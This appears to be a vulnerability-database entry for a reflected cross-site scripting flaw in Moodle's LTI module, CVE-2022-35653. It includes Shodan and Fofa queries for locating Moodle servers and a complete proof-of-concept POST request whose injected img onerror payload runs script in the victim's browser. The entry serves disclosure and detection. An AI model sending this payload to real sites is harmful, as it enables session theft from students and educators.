| Title | Moodle LTI module Reflected - Cross-Site Scripting |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript through the LTI module that executes in educators' or students' browsers, potentially stealing Moodle session credentials and accessing sensitive course information. |
| Remediation | Update Moodle to a patched version that properly sanitizes user input in the LTI module and prevents execution of injected scripts. |
| CVSS Score | 6.1 |
| EPSS Score | 0.82285 |
| CVE ID | CVE-2022-35653 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Moodle"cpe:"cpe:2.3:a:moodle:moodle"http.title:"moodle" |
| Fofa Query | title="moodle" |
| Tags | cve cve2022 moodle xss vkev vuln |
A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.
POST /mod/lti/auth.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
xxx"><img/src%3d'x'onerror%3dalert('document_domain')>=1
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35653.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-35653.pcap
N/AN/A